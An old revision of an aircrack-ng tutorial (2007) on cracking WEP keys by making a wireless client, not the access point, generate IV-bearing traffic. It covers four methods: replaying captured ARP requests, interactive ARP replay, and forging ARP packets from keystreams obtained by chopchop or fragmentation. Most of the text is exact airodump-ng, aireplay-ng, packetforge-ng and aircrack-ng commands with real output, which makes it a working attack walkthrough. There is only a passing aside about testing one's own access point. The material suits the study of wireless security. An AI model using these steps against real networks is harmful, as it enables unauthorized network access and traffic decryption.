This is an old revision of the document!
Version: 1.10 January 22, 2007 (Change log is at the end)
There has been a lot of discussion over time of how to use a wireless client workstation to generate packets to crack WEP instead of the wireless access point itself. This tutorial describes four approaches with examples of how to do this. The examples provided are from from real working equipment, not theory. Each was used in real life and successfully cracked the WEP keys.
The basic idea is to have the wireless client workstation generate data packets with IVs which we can use to crack the WEP key. Normally we have the access point itself generate the data packets with IVs. So why would you need to leverage a wireless client workstation instead of the access point? Here are just a few of the reasons:
I would like to acknowledge and thank the aircrack-ng team for producing such a great robust tool. And also acknowledge the many other people who came up with the ideas and techniques described in this tutorial. I certainly don't take credit for the techniques in this tutorial. My role was simply to pull them together in one place and describe them in detail.
Please send me any constuctive feedback, positive or negative.
Operating system: WinXP (not that it really matters)
MAC address: 00:0F:B5:46:11:19
ESSID: teddy (not that it really matters)
MAC address: 00:14:6C:7E:40:80 Channel: 9
Operating System: Linux
MAC address: does not matter
Operation System: Linux
MAC address: 00:40:F4:77:F0:9B
Operation System: Linux
MAC address: 00:0D:60:2E:CC:E1
Operation System: Linux
MAC address: 00:09:5B:EC:EE:F2
The tutorial covers four scenarios:
Now onto the details…
We are going to use a packet from captured data. Lets say you were running airodump-ng capturing packets to/from the access point and feel there are some arps you can use for injection.
ARP packets are not the only ones you can use. I focus on these because they are guaranteed to succeed and are the easiest to find in a packet capture. I say ARPs are guaranteed to succeed since the client must respond to an arp request directed at the client. Remember it is not just any ARP. It must be an ARP for the specific client(s) you are targeting.
First, capture packets going to/from the access point in question. To reduce the clutter, use a BSSID filter for the particular Access Point you are targeting and the specific channel. In our example:
airodump-ng –channel 9 –bssid 00:14:6C:7E:40:80 -w aprcapture ath0
You need one or more wireless clients active while you are doing this capture. If there is little or no activity, it is unlikely you capture anything of value. While you are capturing packets, you can copy the file for analysis so that the capture can continue. You can also run WireShark realtime and view the packets as they arrive.
So now the objective is to find an ARP packet coming from the ethernet via the access point to the client. The client will always respond to the arp request for itself. This means the client will broadcast an arp reply back to the originator on the ethernet via the access point.
Characteristics of the incoming packet we want:
Characteristics of the outgoing packet we want:
In simple terms we are looking for an ARP request to the client and a subsequent reply.
First try Wireshark display filter of: (wlan.bssid == 00:14:6c:7e:40:80 and (frame.pkt_len>=68 and frame.pkt_len⇐86))
This selects packets to/from the access point which have a packet length greater then or equal to 68 and a packet length of less then or equal to 86.
You will have to change wlan.bssid to the access point MAC adddress and possibly change the frame packet length values to match any local system variations. The filter above should be a pretty good starting point.
Once you have zeroed in on some possible packets then you can use the following display filter to focus on a particular client: (wlan.bssid == 00:14:6c:7e:40:80 and (frame.pkt_len>=68 and frame.pkt_len⇐86) and (wlan.da == ff:ff:ff:ff:ff:ff or wlan.sa == 00:0f:b5:46:11:19))
Change the wlan.sa value to the particular client you are targeting. Change the frame packet length values to narrow it down if you need to.
In simple terms, we are looking for an ARP request and the subsequent reply. The attached file aprcapture-01.cap has some real examples. You can use the filters above on this file.
Here is a summary of what the packets are. The numbers are the packets starting at one. If you view the file via WireShark then the numbers will match the following:
391 - This is an arp request from a wired workstation to our client being broadcast by the AP. It never gets answered and must have got lost. 416 - The AP broadcasts the arp request received from the wired workstation. This is a repeat arp request via the AP since the first one (391) was never answered. 417 - The client sends an arp response via the AP to the wired workstation. Notice the short time period between the request and response. 501 - A wireless workstation sends an arp request to the client via the AP. This packet is really a request to the AP to broadcast the arp request. 503 - The AP broadcasts the arp request to all the wireless clients. 504 - The client sends an arp response to wireless workstation via the AP. This packet is really a request to the AP to send the arp response to the wireless workstation 506 - This is the ARP response being retransmitted from the AP to the wireless workstation.
The two possible packets to use are 416 or 503. You can try both. Number 503 is better since it will generate two data packets for each one you inject. The two being the reply from the client to the AP and the AP to the wireless workstation. Basically you double your data capture rate. People are always asking how to increase the injection rate, this one technique.
Once you have found one or more of these pairs then right-click the packets going to the client that you want within Wireshark and “mark” them. Then click “save as” and select “marked” to be saved as dsarprequests.cap or whatever file name you want. Now you hopefully have a file with ARP requests going to a specific client.
Remember that the packets selected are not guaranteed to work. They are just very likely candidates based on observation. You may need to try a few to get things to work.
Restart your packet capture if it not still going:
airodump-ng --channel 9 --bssid 00:14:6C:7E:40:80 --ivs -w aprcapture ath0
Now use interactive replay in a second separate session:
aireplay-ng -2 -r dsarprequests.cap ath0
You are now sending the ARP requests from your PC to the client directly, not through the access point. The client will send an ARP replay for each request. Now your data packets start zooming up. Start aircrack-ng (aircrack-ng arpcapture*.ivs) in a third session and determine the key! Success!
In this scenario we are going do the capture and injection in real time.
First, start capturing packets going to/from the access point in question. To reduce the clutter, use a BSSID filter for the particular Access Point you are targeting and the specific channel. In our example:
airodump-ng --channel 9 --bssid 00:14:6C:7E:40:80 --ivs -w aprcapture ath0
Now start a separate second session to interactively capture and replay packets:
aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 ath0
You will have to change “-b” to the MAC address of the access point in question. Plus the minimum “-m” and maximum “-n” packet lengths may have to be tweaked based on origin of the packets and local environment. Typically minimum of 68 and maximum of 86. Some experimentation may be necessary.
The characteristics of the packet we are trying to select is:
Here is why we use the other values:
Here is an example of a packet we would select:
Read 210 packets... Size: 68, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:09:5B:EC:EE:F2 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0009 5bec eef2 409a 7501 0000 1a85 1808 ..[...@.u....... 0x0020: 3820 91ae 6e38 248d 0555 1703 b645 24a7 8 ..n8$..U...E$. 0x0030: 3e0e 943b f531 66a2 a825 adf9 178d 3699 >..;.1f..%....6. 0x0040: 7903 7765 y.we Use this packet ?
Remember, you may need to try a few packets to get it work. The ARP must be for a wireless client. Once you are successfully injecting packets, start aircrack-ng to determine the WEP key.
We first need to generate the xor file. This file gives us the ability to create new encrypted packets for injection.
You run the following command and select a packet which is a decent size. It has to be larger then the ARP packet we want to create. So pick something like 86 or more bytes. As well we need to determine the IP address of the wireless workstation we are targeting. So pick a packet with a source or destination MAC address of the workstation. The reason for this is will later use tcpdump to look at the decrypted packet and obtain the IP address.
Run “aireplay-ng -4 ath0 -h 00:0F:B5:46:11:19”.
Change the -h to be the MAC address of a client assocated with the AP. You can also do a fake association and use this MAC. It is just simply easier to use a MAC already associated with the AP.
Although this example is an arp request, as mentioned above, you should try to pick a packet to or from the workstation. Here is example output:
Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:F0:9B 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0040 f477 f09b 60e3 6201 0000 55b1 496a .@.w..`.b...U.Ij 0x0020: ff2d a9ad 8161 7888 8d2d 08a7 3d10 4712 .-...ax..-..=.G. 0x0030: 1bd2 8701 8674 82b3 8746 22e3 d4d5 4e85 .....t...F"...N. 0x0040: 9911 679d b99d 4996 0c01 d7b4 6549 1840 ..g...I.....eI.@ 0x0050: 0723 54fb 488d .#T.H. Use this packet ? y Saving chosen packet in replay_src-1231-132955.cap Offset 85 ( 0% done) | xor = C4 | pt = 49 | 41 frames written in 124ms Offset 84 ( 1% done) | xor = 89 | pt = C1 | 228 frames written in 684ms Offset 83 ( 3% done) | xor = DB | pt = 20 | 129 frames written in 387ms Offset 82 ( 5% done) | xor = 28 | pt = 7C | 245 frames written in 735ms Offset 81 ( 7% done) | xor = 23 | pt = 00 | 5 frames written in 15ms Offset 80 ( 9% done) | xor = 07 | pt = 00 | 30 frames written in 90ms Offset 79 (11% done) | xor = 40 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 18 | pt = 00 | 6 frames written in 18ms Offset 77 (15% done) | xor = 49 | pt = 00 | 171 frames written in 513ms Offset 76 (17% done) | xor = 65 | pt = 00 | 249 frames written in 747ms Offset 75 (19% done) | xor = B4 | pt = 00 | 88 frames written in 264ms Offset 74 (21% done) | xor = D7 | pt = 00 | 156 frames written in 469ms Offset 73 (23% done) | xor = 01 | pt = 00 | 249 frames written in 746ms Offset 72 (25% done) | xor = 0C | pt = 00 | 63 frames written in 189ms Offset 71 (26% done) | xor = 96 | pt = 00 | 12 frames written in 36ms Offset 70 (28% done) | xor = 49 | pt = 00 | 45 frames written in 135ms Offset 69 (30% done) | xor = 9D | pt = 00 | 7 frames written in 21ms Offset 68 (32% done) | xor = B9 | pt = 00 | 224 frames written in 672ms Offset 67 (34% done) | xor = 9D | pt = 00 | 153 frames written in 459ms Offset 66 (36% done) | xor = 67 | pt = 00 | 194 frames written in 583ms Offset 65 (38% done) | xor = 11 | pt = 00 | 19 frames written in 56ms Offset 64 (40% done) | xor = 99 | pt = 00 | 127 frames written in 381ms Offset 63 (42% done) | xor = E8 | pt = 6D | 209 frames written in 627ms Offset 62 (44% done) | xor = 79 | pt = 37 | 139 frames written in 417ms Offset 61 (46% done) | xor = 7D | pt = A8 | 53 frames written in 159ms Offset 60 (48% done) | xor = 14 | pt = C0 | 76 frames written in 228ms Offset 59 (50% done) | xor = E3 | pt = 00 | 204 frames written in 612ms Offset 58 (51% done) | xor = 22 | pt = 00 | 47 frames written in 141ms Offset 57 (53% done) | xor = 46 | pt = 00 | 203 frames written in 608ms Offset 56 (55% done) | xor = 87 | pt = 00 | 122 frames written in 367ms Offset 55 (57% done) | xor = B3 | pt = 00 | 9 frames written in 27ms Offset 54 (59% done) | xor = 82 | pt = 00 | 223 frames written in 669ms Offset 53 (61% done) | xor = 47 | pt = 33 | 241 frames written in 723ms Offset 52 (63% done) | xor = B1 | pt = 37 | 123 frames written in 368ms Offset 51 (65% done) | xor = A9 | pt = A8 | 20 frames written in 60ms Offset 50 (67% done) | xor = 47 | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 49 | pt = 9B | 188 frames written in 564ms Offset 48 (71% done) | xor = EB | pt = F0 | 47 frames written in 143ms Offset 47 (73% done) | xor = 65 | pt = 77 | 64 frames written in 190ms Offset 46 (75% done) | xor = B3 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 50 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = A6 | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = 08 | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = 29 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = 8B | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 88 | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = 70 | pt = 08 | 229 frames written in 687ms Offset 37 (92% done) | xor = 60 | pt = 01 | 232 frames written in 696ms Offset 36 (94% done) | xor = 81 | pt = 00 | 19 frames written in 57ms Offset 35 (96% done) | xor = AB | pt = 06 | 230 frames written in 690ms Sent 969 packets, current guess: C5... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Warning: ICV checksum verification FAILED! Saving plaintext in replay_dec-1231-133021.cap Saving keystream in replay_dec-1231-133021.xor Completed in 22s (2.18 bytes/s)
So look at the decrypted packet with Wireshark or tcpdump to get the IP information you need. See below for an example. In this case, we are ultra lucky and get the IP of the target wireless workstation. You may have to try a few packets to get the IP of wireless workstation.
tcpdump -n -vvv -e -s0 -r replay_dec-1231-133021.cap reading from file replay_dec-1231-133021.cap, link-type IEEE802_11 (802.11) 13:30:21.150772 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:f0:9b LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.55.109 tell 192.168.55.51
Now we have the wireless workstation IP and use the xor file above to create an ARP packet. Be absolutely sure to include the -j and -o switches below.
However, So if you are using 0.7.0 (svn test version) then the correct command is:
packetforge-ng --arp -a 00:14:6C:7E:40:80 -c 00:0F:B5:46:11:19 -h 00:40:F4:77:F0:9B -j -o -l 192.168.55.109 -k 192.168.55.51 -y replay_dec-1231-133021.xor -w arpforge.cap
The command example below is correct for version 0.6.2 for what we want to do. There was a bug in version 0.6.2 where by -k and -l parameters were reversed.
packetforge-ng –arp -a 00:14:6C:7E:40:80 -c 00:0F:B5:46:11:19 -h 00:40:F4:77:F0:9B -j -o -k 192.168.55.109 -l 192.168.55.51 -y replay_dec-1231-133021.xor -w arpforge.cap
After creating the packet, use tcpdump to review it from a sanity point of view. See below. It looks good!
tcpdump -n -vvv -e -s0 -r arpforge.cap reading from file arpforge.cap, link-type IEEE802_11 (802.11) 13:32:06.523444 WEP Encrypted 258us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:f0:9b Data IV:162 Pad 0 KeyID 0
Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. These steps are not required, they just prove to yourself that you have generated the correct packet.
Decrypt the packet: airdecap-ng -e teddy -w <put your WEP key here> arpforge.cap View the decrypted packet: tcpdump -n -r arpforge-dec.cap It should be something like:
reading from file arpforge-dec.cap, link-type EN10MB (Ethernet) 16:44:53.673597 arp who-has 192.168.55.51 tell 192.168.55.109
This is good since we know our client is 192.168.55.109 and we wanted an arp request addressed to the client.
Now inject the packet:
aireplay-ng -2 -r arpforge.cap ath0
At this point, you should be generating data packets via the wireless workstation and can use aircrack-ng in the normal manner to crack the WEP key.
The fragmentation replay attack is basically the same as chopchop. The key difference is that the fragmentation attack is used to obtain the xor file instead of the chopchop technique.
First, you either have to use a MAC address from a client which is already associated with the AP or do fake authentication.
One of the challenges is determining what IP to use in the “aireplay-ng -5” command since in theory you don't know the IP range in use on the wireless network. There are a couple of strategies that could be used. Based on the wireless access point, a good guess is the default address range for the make/model. Very few people change the default addresses. Another is to see if internal IPs leak via web servers/pages, e-mail headers, etc. You need to be innovative.
Having said that, there is a trick which works on most APs. Just use an IP of 255.255.255.255. By default, aireplay-ng uses 255.255.255.255 for both the source and destination IPs.
There are some hardware constraints for the fragmentation attack:
Here is the command to run:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0
Waiting for a data packet... Size: 144, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = 00:0F:B5:46:11:19 Source MAC = 00:0D:60:2E:CC:E1 0x0000: 0842 0201 000f b546 1119 0014 6c7e 4080 .B.....F....l~@. 0x0010: 000d 602e cce1 1083 7214 0000 5da7 d458 ..`.....r...]..X 0x0020: 6c90 0329 12ab 3d03 c37d 600b cdac 2706 l..)..=..}`...'. 0x0030: 19c7 9253 65b3 f163 1a17 8005 04ff 961f ...Se..c........ 0x0040: 01c4 0f6a 0047 e38b cb00 c303 f805 d96f ...j.G.........o 0x0050: 6c14 2479 bb5b aae3 f5f4 4f40 fc42 d703 l.$y.[....O@.B.. 0x0060: 8d49 1b91 4d5e 0787 a737 1d18 62a2 a828 .I..M^...7..b..( 0x0070: 75ab fdbb e3c2 e276 18c9 7641 a655 a4d2 u......v..vA.U.. 0x0080: acc4 d9f9 8c1b a12b be35 99a7 b793 5bec .......+.5....[. Use this packet ?
You answer “y” and then the fragmentation attack starts. Here is the output. Sometimes you need to try multiple packets to be successful.
Saving chosen packet in replay_src-0113-170504.cap Data packet found! Sending fragmented packet Got RELAYED packet!! Thats our ARP packet! Trying to get 384 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Trying to get 1500 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Saving keystream in fragment-0113-170526.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Bingo! The file fragment-0113-170526.xor contains the xor file to then generate your arp packet for replay.
From here, it is identical to the chopchop approach. The big challenge is knowing the IP addresses to use. As mentioned above, you need to be innovative.
January 22/2007 v1.10 - Updated to reflect the release of aircrack-ng v0.7
January 13/2007 v1.01 - Corrected typos. - Reworked arp examples with more specifics and sample capture. Also reflected research into typical packet sizes. - Rewrote parts of the tutorial to make it clearer. - Section on fragmentation attack updated to reflect the current program functionality.
January 1/2007 v1.00 - Initial Release